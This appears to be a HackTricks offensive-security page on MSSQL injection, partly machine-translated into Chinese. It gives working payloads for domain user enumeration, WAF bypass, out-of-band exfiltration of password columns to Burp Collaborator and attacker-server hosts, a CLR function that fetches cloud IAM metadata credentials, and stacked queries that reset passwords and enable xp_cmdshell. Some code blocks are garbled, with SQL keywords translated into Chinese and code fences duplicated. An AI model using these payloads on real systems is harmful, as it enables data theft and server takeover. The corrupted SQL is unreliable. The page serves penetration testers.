MSSQL Injection

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

活动目录枚举

可能可以通过在MSSQL服务器内部进行SQL注入来枚举域用户,使用以下MSSQL函数:

  • SELECT DEFAULT_DOMAIN():获取当前域名。

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')):如果您知道域的名称(在此示例中为_DOMAIN),此函数将以十六进制格式返回用户Administrator的SID。这将看起来像0x01050000000[...]0000f401,请注意最后4个字节500,采用大端格式,这是管理员用户的常见ID。 此函数将允许您了解域的ID(除了最后4个字节)。

  • SUSER_SNAME(0x01050000000[...]0000e803):此函数将返回指定ID的用户名(如果有的话),在这种情况下,0000e803以大端== 1000(通常是创建的第一个常规用户ID)。然后您可以尝试从1000到2000暴力破解用户ID,可能获取域用户的所有用户名。例如使用以下函数:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

替代错误注入向量

错误注入通常类似于构造,如 +AND+1=@@version-- 和基于«OR»运算符的变体。包含这些表达式的查询通常会被 Web 应用防火墙(WAF)阻止。为了绕过阻止,可以使用 %2b 字符与触发所需数据类型转换错误的特定函数调用的结果连接字符串。

一些此类函数的示例:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

使用函数 USER_NAME() 的示例:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

这些SSRF技巧取自这里

fn_xe_file_target_read_file

它需要服务器上的**VIEW SERVER STATE**权限。

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

需要 CONTROL SERVER 权限。

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

需要 CONTROL SERVER 权限。

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

诸如 xp_dirtree 这样的存储过程虽然没有被微软官方文档记录,但由于其在MSSQL中的网络操作中的实用性而被他人在网上描述。这些存储过程经常被用于带外数据泄露,正如在各种示例帖子中展示的那样。

例如,xp_dirtree 存储过程用于发起网络请求,但仅限于TCP端口445。端口号不可修改,但允许从网络共享中读取。以下是SQL脚本中的使用示例:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

这种方法可能无法在所有系统配置上正常工作,例如在运行在默认设置下的 Windows Server 2016 Datacenter 上的 Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)

此外,还有替代的存储过程,如 master..xp_fileexistxp_subdirs,可以实现类似的结果。有关 xp_fileexist 的更多详细信息,请参阅此TechNet文章

xp_cmdshell

显然,您也可以使用 xp_cmdshell执行 一些触发 SSRF 的操作。有关更多信息,请在页面中阅读相关部分:

MSSQL 用户定义函数 - SQLHttp

创建一个 CLR UDF (Common Language Runtime User Defined Function),这是用任何 .NET 语言编写的代码,并编译成 DLL,在 MSSQL 中加载以执行自定义函数的过程需要 dbo 访问权限。这意味着通常只有在数据库连接为 sa 或具有管理员角色时才可行。

此 Github 存储库 中提供了一个 Visual Studio 项目和安装说明,以便将二进制文件加载到 MSSQL 中作为 CLR 组件,从而实现在 MSSQL 中执行 HTTP GET 请求。

这种功能的核心包含在 http.cs 文件中,该文件使用 WebClient 类执行 GET 请求并检索内容,如下所示:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

在执行CREATE ASSEMBLY SQL命令之前,建议运行以下SQL片段将程序集的SHA512哈希添加到服务器的受信任程序集列表中(可通过select * from sys.trusted_assemblies;查看):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

成功添加程序集并创建函数后,可以使用以下SQL代码执行HTTP请求:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

快速利用:在单个查询中检索整个表内容

这里的技巧

提取表的全部内容的简洁方法涉及使用 FOR JSON 子句。这种方法比使用 FOR XML 子句更简洁,后者需要像 "raw" 这样的特定模式。FOR JSON 子句因其简洁性而受到青睐。

以下是如何从当前数据库中检索模式、表和列的方法:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
https://vuln.app/getItem?id=1'+并且+1=(选择+concat_ws(0x3a,table_schema,table_name,column_name)a+从+information_schema.columns+for+json+auto)--

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

### MSSQL注入

访问以下链接:

```html
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

## **Little tricks for WAF bypasses**

[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

Non-standard whitespace characters: %C2%85 или %C2%A0:

MSSQL注入

访问以下链接:https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--


Scientific (0e) and hex (0x) notation for obfuscating UNION:
  • 使用UNION注入来检索数据库版本信息:

    • https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

  • 使用UNION注入来检索数据库版本信息:

    • https://vuln.app/getItem?id=0xunion+select+null,@@version,null--


A period instead of a whitespace between FROM and a column name:

MSSQL注入

让我们看一下如何利用MSSQL注入来获取数据。在这个示例中,我们将尝试获取ID为1的项目。

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separator between SELECT and a throwaway column:

MSSQL注入


访问以下链接:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
```sql
SELECT 'a' SELECT 'b'
SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

```sql
```sql
使用 [tempdb]
创建表 [test] ([id] int)
插入 [test] 值(1)
选择 [id] 从 [test]
删除表[test]

Can be reduced to:

```sql
使用[tempdb]创建表[test]([id]int)插入[test]值(1)选择[id]从[test]删除表[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# 在末尾添加一个无用的 exec() 并让 WAF 认为这不是一个有效的查询
admina'union select 1,'admin','testtest123'exec('select 1')--

## 这将是:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# 使用奇怪构建的查询
admin'exec('update[users]set[password]=''a''')--

## 这将是:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# 或者启用 xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

## 这将是:
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

最后更新于